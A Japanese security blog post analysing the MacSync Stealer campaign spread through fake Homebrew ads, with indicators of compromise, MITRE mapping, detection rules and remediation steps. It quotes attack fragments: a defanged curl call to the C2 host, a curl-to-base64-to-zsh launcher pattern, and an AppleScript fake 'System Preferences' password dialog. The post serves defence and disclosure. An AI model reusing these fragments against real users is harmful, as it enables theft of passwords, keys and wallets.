技術 約12分で読めます

Homebrew偽広告のMacSync Stealerは225バイトのzshから3段展開、Keychain・ウォレット・.sshを抜く

いけさん目次

TL;DR

影響範囲 macOSでHomebrewを検索し、sponsored枠から偽ページ sites.google[.]com/view/brewpage を開いて表示されたzshコマンドを貼り付けたユーザー

感染挙動 3段zsh展開 → osascriptで偽System Preferencesダイアログ表示 → ブラウザ・Keychain・ウォレット・.ssh/.aws/.kube/tmp/osalogging.zip に集約 → C2(攻撃者の指令サーバー) glowmedaesthetics[.]com へHTTP送信

確認箇所 ~/.zsh_historycurl http://glowmedaesthetics[.]com/curl/ 行、/tmp/osalogging.zip または /tmp/sync[0-9]{7}/ ディレクトリ、osascript + curl の組み合わせプロセス、glowmedaesthetics[.]com への通信ログ

対応 端末をネットワークから切り離し、別端末からmacOSログインパスワード・Keychain・ブラウザ保存パスワード・SSH鍵・GitHub/npm/クラウドの全トークンをローテーション


GoogleでHomebrewを検索すると、sponsored枠の偽ページが本物より先に並ぶ。
そのページはHomebrewのインストール手順に見せかけて、Terminalへ貼り付ける225バイトのzshワンライナーを出し、そこから3段でMacSync Stealerを展開する。

SANS Internet Storm CenterのBrad Duncanが、2026年4月30日にこの偽広告を観測し、5月1日に感染チェーンと3つのSHA256ハッシュ、C2ドメインを公開した。
「brewを入れたい」と検索した開発者が、広告クリック、Google Sites、短いzsh貼り付け、Base64展開、osascript偽ダイアログ、ZIP送信まで踏まされる。

sponsored枠からGoogle Sitesの偽ページへ

SANS ISCの観測例では、Google検索結果の広告が google[.]com/aclk?sa=L&ai=... 形式のクリック追跡URLを経由して sites.google[.]com/view/brewpage に着地する。
Google Sitesは誰でも無料で公開できる正規サービスで、ドメインは google.com のサブパスに見える。
URL先頭の https:// と鍵マークでフィッシングを判別する習慣だと、ドメインが本物のGoogle側に乗っているため止まる材料が残らない。

偽ページはHomebrewのページに似せて作られている。
SANS ISCのスクリーンショットでは、本物の brew.sh と比べてもレイアウトの寄せ方が近く、コピーボタンの位置やCTAも同じ位置に並ぶ。

本物のHomebrew公式サイトは brew.sh で、公式のインストールコマンドは raw.githubusercontent.com/Homebrew/install/HEAD/install.sh を読む。
Homebrew公式ドキュメントも、インストーラは実行前に何をするか説明し、開始前に確認を求めると書いている。

今回の偽ページは、curlzsh を使うという見た目だけを本物に寄せている。
開発者は普段から「公式サイトのワンライナーをTerminalに貼る」作業を繰り返しているため、広告経由で着いたページでも同じ手順で貼り付けに進んでしまう。

Google広告を入口にする開発者狙いの配布は以前から続いている。
このブログでも、GitHub Desktop風の導線でGoogle広告と偽ドメインを使ったGitHub Repo Squatting攻撃を扱った。
今回はHomebrewのインストール手順そのものが攻撃チェーンに組み込まれた。

3段zshの構成: 225バイト → 1,448バイト → 2,647バイト

SANS ISCがVirusTotalで共有した3つのSHA256ハッシュから、感染チェーンの構造が見える。
最初に貼らせるのは225バイトの短いzshで、そこから二段目(1,448バイト)と三段目(2,647バイト)が連なる。

サイズSHA256 (先頭16文字)役割
1段目225バイトa4fcfecc5ac8fa57偽ページからコピペさせる初期zsh。シグネチャベースの検知では拾われない短さ
2段目1,448バイト0d58616c750fc853hxxp[:]//glowmedaesthetics[.]com/curl/63810ee8...237d からHTTPで取得されるzsh本体
3段目2,647バイト86d0c50cab4f394c1段目に埋め込まれたBase64文字列から展開されるzsh。osascriptへAppleScriptを流し込む

1段目を短く保つ理由は、コピーボタンで貼り付けさせる手口側にある。
長いコマンドはユーザーが警戒したり、編集途中で中身を読まれたりするため、curl ... | base64 -D | zsh のような起動コードだけを表に出し、本体は別の場所から取得するか、自分自身のBase64ブロックから取り出す。

flowchart TD
  A["Google検索<br/>Homebrew"] --> B["sponsored枠<br/>aclk?sa=L 経由"]
  B --> C["sites.google.com<br/>/view/brewpage"]
  C --> D["225Bのzshを<br/>コピー&ペースト"]
  D --> E["curl http://<br/>glowmedaesthetics.com/curl/..."]
  D --> F["内蔵Base64を<br/>base64 -D | zsh で展開"]
  E --> G["2段目zsh 1,448B"]
  F --> H["3段目zsh 2,647B"]
  G --> I["osascriptへ<br/>AppleScript投入"]
  H --> I
  I --> J["偽System Preferences<br/>ダイアログでパスワード要求"]
  J --> K["/tmp/osalogging.zip 作成"]
  K --> L["glowmedaesthetics.com<br/>へHTTP送信"]

C2の配信URLは http で動いている。
TLSなしのHTTPで curl/{長いハッシュ} 形式のパスを叩く挙動は、社内プロキシ・EDR・DNSベースの脅威フィードに痕跡として残る。

osascriptと偽System Preferencesダイアログ

zshが取り込んだAppleScriptは、最終的に osascript でメモリ上で実行される。
Cognisys Group Labsの解析では、このAppleScriptに getpwd() という関数が含まれ、ユーザーのmacOSアカウントパスワードを集める処理を担う。

display dialog "Required Application Helper..." ¬
    with title "System Preferences" ¬
    with icon file "...LockedIcon.icns" ¬
    default answer "" with hidden answer

タイトルは “System Preferences”、アイコンは正規のLockedIcon.icnsを使う。
見た目は正規のmacOSシステム認証と同じで、Terminalから派生した窓だと判別する手がかりがない。

入力したパスワードは dscl . authonly という標準の認証API(ローカルアカウントのパスワードを照合するmacOS純正コマンド)で検証されており、検証が通るまでダイアログを出し直すループ構造になっている。
ユーザー視点では、macOSのシステム認証から何度もパスワードを要求された体験として残る。
ここで正しいパスワードを入力した瞬間、検証が通った文字列がそのまま攻撃者の手に渡る。

osascript自体はApple純正の署名済みバイナリで、macOS本体や多くの正規アプリのスクリプティング窓口として日常的に走っている。
コマンド自体をエンドポイントセキュリティで止めれば、AppleScriptを使う自動化アプリ、Adobe系、Microsoft Office系の動作まで巻き込まれる。
SOC Primeが追跡しているMacSyncの上位キャンペーンでは、AppleScript本体をディスクに書かず、curlで取得したテキストを osascript -e や標準入力経由で渡す in-memory実行を採用。ファイルベースのスキャンでは検出材料が手に入らない。

持ち出される範囲: ブラウザ・Keychain・SSH鍵・ウォレット

Cognisys Group LabsとRhys DowningによるMacSync亜種の解析では、収集対象が次のように挙がっている。

カテゴリ対象
ブラウザChrome / Brave / Edge の CookiesLogin DataWeb Data
ウォレット拡張MetaMask、Phantom、TronLink の Local Extension SettingsIndexedDB
暗号資産アプリLedger Live、Trezor Suite のアプリディレクトリ
メッセンジャーTelegram の tdata/
開発・運用~/.ssh~/.aws~/.kube*.keychain-db
ファイル拡張子.wallet.seed.kdbx.pem.ovpn

開発端末にはGitHub / npm / クラウドプロバイダー / SSH / Docker / CI のトークンが集まっている。
~/.aws~/.kube~/.ssh を一度に持っていかれた場合、被害は本人のアカウントから所属組織のCI/CDパイプライン、本番環境まで連鎖する。

集めたデータは /tmp/osalogging.zip または /tmp/sync[0-9]{7}/ 配下にまとめられ、ditto などでZIP化されてC2へPOSTされる。
ファイル名の “osalogging” は osascript + logging の合成と読める命名で、痕跡名そのものがAppleScript由来の動作を示している。

MacSync Stealerの素性: Mac.c リブランドから第3波まで

MacSync Stealerは、2025年4月に “Mentalpositive” という攻撃者が公開したMac.c stealerのリブランドだ。
当初からMaaS(Malware-as-a-Service: 月額制で犯罪者向けにレンタルされるマルウェア基盤)として売られ、2025年7月以降にAMOS / Odysseyと並ぶmacOSスティーラーの一角として観測例が増えた。

CIS(米州・地方政府向けのMS-ISAC: Multi-State Information Sharing and Analysis Centerを運営する組織)は、2026年に入ってからSLTT(State, Local, Tribal, Territorial: 米国の州・地方・部族・準州政府)系のmacOS端末を狙ったMacSyncのキャンペーン(一連の攻撃活動)を追跡している。
MS-ISACのMDBR(Malicious Domain Blocking and Reporting: マルウェアドメインを名前解決段階で遮断するサービス)だけで250万件以上のDNSリクエストをブロックし、1,000件以上のIoC(Indicator of Compromise: 侵害指標)を共有している。

SOPHOS X-Opsは2026年2月開始の第3波を観測しており、配布手段がClickFix CAPTCHA、SEO汚染(検索結果の上位を不正に占拠する手口)、無料電子書籍やユーティリティ装いに広がっている。
Jamf Threat Labsは、Apple Developer IDで署名・ノータライズ(Appleの公証審査で正規アプリと認定された状態)されたSwiftアプリのドロッパーが登場し、Gatekeeper警告を出さずに dropper → 外部C2 → MacSync payload の流れを取る派生を報告している。

2026年4月時点では、今回SANS ISCが捕まえた「Google広告 → Google Sites → zshコピペ」のラインを含む複数の配布チャネルが、この攻撃活動の中で並行して稼働していた。

Homebrew偽サイトの再利用: Cuckoo Stealer版との比較

Homebrewの偽サイトは、2026年初頭から複数のスティーラーで使い回されている。
Hive Proの2026年2月のレポートでは、タイポスクワット(本物のドメイン名をわずかにずらした偽サイトを用意する手口)で homabrews[.]orgbrewsh[.]cxbrrewsh[.]orgbrewmacos[.]combrew[.]latbrew[.]pages[.]devraw[.]brewsh[.]cxbraw[.]sh などのHomebrew風ドメインがCuckoo Stealerを配り、~/Library/LaunchAgents/com.homebrew.brewupdater.plist で永続化する流れが報告されている。

Cuckoo Stealer版とSANS ISC観測のMacSync版を並べると、入口は同じClickFix系(コピペ誘導)で、配信先と永続化の作り方が違う。

項目Cuckoo Stealer版(2026-01)MacSync版(2026-04)
配布チャネルタイポスクワットドメインGoogle sponsored広告 + Google Sites
初期実行コピーボタンが curl を仕込むClickFix225バイトのzshコピペ
認証取得dscl . authonly 連続プロンプトosascript で “System Preferences”風ダイアログ
永続化com.homebrew.brewupdater.plist LaunchAgentSANS ISC観測範囲では確認なし(中継ダウンローダ寄りの動き)
C25[.]255[.]123[.]244 経由glowmedaesthetics[.]com HTTP

2026年1月のCuckoo Stealer版と2026年4月のMacSync版では、入口の手口を共有しつつ後段(中継スクリプト・C2・永続化)が別系統に差し替わった。
Homebrewというブランドへの信頼が、複数のスティーラーで侵入口(攻撃者がmacOS上に最初のコマンドを実行させるための入り口)として再利用されている。

検出ポイントとMITRE ATT&CKマッピング

SOC Primeが公開しているMacSync Stealer向けのSigmaルールでは、cmdlineとfile_eventの二系統で次の挙動が検出ポイントに挙がっている。

  • cmdline: Base64エンコード文字列の操作(base64 -D、長い英数字塊への echozsh への直結パイプ)
  • cmdline: curl + osascript の同セッション内の組み合わせ
  • file_event: /tmp/ 配下に .zip が作成される動き、特に osalogging.zipsync[0-9]{7} 名のディレクトリ
  • file_event: ~/Library/LaunchAgents/com.homebrew.* 系plistの作成(Cuckoo Stealer系と共有)
  • ネットワーク: glowmedaesthetics[.]com への http:// 平文通信、/curl/{64文字hex} 形式のパス

EDRを入れていない開発端末でも、fs_usageopensnooptail -f /var/log/system.log レベルの素のmacOSツールで、/tmp/osalogging.zip の作成や osascript の異常な起動を確認できる。

検出ルールとSANS ISCの観測内容をMITRE ATT&CKに当てると、次のTechniqueが対応する。

TacticTechnique対応する挙動
Initial AccessT1204.001 User Execution: Malicious Linksponsored広告のクリック
Initial AccessT1204.004 Malicious Copy and PasteGoogle Sites上のコピー&ペースト誘導
ExecutionT1059.004 Unix Shellzsh 3段展開
ExecutionT1059.002 AppleScriptosascriptで偽ダイアログを表示
Credential AccessT1056.002 GUI Input Capture”System Preferences”を装ったパスワード要求
DiscoveryT1592.002 Software Components Discoveryブラウザ・ウォレット拡張・キーチェーンの列挙
CollectionT1005 Data from Local System~/.ssh~/.aws、Keychain、ウォレットデータ
CollectionT1074.001 Local Data Staging/tmp/osalogging.zip/tmp/sync[0-9]{7}/
ExfiltrationT1041 Exfiltration Over C2 Channelglowmedaesthetics[.]com へHTTP POST

感染の確認とトークンのローテーション

本物のHomebrewは brew.sh から入る。
検索結果の広告は避け、ブックマークか手入力で開く。

公式ページのインストールコマンドは次の形だ。

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

確認する際は、brew.sh という表示だけでなく、コマンド内の取得先が raw.githubusercontent.com/Homebrew/install/HEAD/install.sh になっているか、実行シェルが zsh に切り替わっていないか、Base64で中身が隠れていないかを見る。
「コピー」ボタンがあるページでは、表示文字列と実際にクリップボードへ入る文字列が違うこともある。
Terminalに貼る前に、テキストエディタへ貼って中身を確認する。

すでに貼って実行した場合は、端末をネットワークから切り離し、シェル履歴の ~/.zsh_history~/.bash_history に見覚えのない curlzshbase64 -Dosascript が並んでいないか確認する。
/tmp/osalogging.zip/tmp/sync[0-9]{7}/ ディレクトリ、glowmedaesthetics[.]com への通信ログがあれば、実行後の感染として扱う。

開発端末にはGitHub、npm、クラウド、SSH、Docker、CIのトークンが入っている。
感染した端末上でパスワードを変更しても再度窃取されるため、クリーンな別端末からmacOSアカウントパスワード、Keychain、SSH鍵、GitHub/npmトークン、クラウドキー(AWS/GCP/Azure)、kubeconfig、ブラウザ同期済みセッション、暗号資産ウォレットのシードを順にローテーションする。
Keychain自体は端末ローカルで暗号化されているが、dscl authonly で正しいログインパスワードを盗まれている前提では、攻撃者は同じパスワードでKeychainを開ける。
まずログインパスワードのリセットから始める。

参考